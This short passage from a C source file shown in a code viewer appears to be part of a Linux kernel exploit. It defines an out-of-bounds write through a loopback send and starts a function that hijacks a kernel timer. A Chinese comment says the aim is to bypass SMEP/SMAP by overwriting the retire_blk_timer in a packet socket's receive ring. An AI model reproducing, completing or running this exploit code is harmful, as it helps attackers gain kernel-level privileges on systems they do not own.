| 197 | } |
| 198 | |
| 199 | void oob_write(char *buffer, int size) { |
| 200 | loopback_send(buffer, size); |
| 201 | } |
| 202 | // (1) 绕过SMEP/SMAP: 覆盖 packet_sock->rx_ring->prb_bdqc->retire_blk_timer |
| 203 | void oob_timer_execute(void *func, unsigned long arg) { |
| 204 | oob_setup(2048 + TIMER_OFFSET - 8); |
no test coverage detected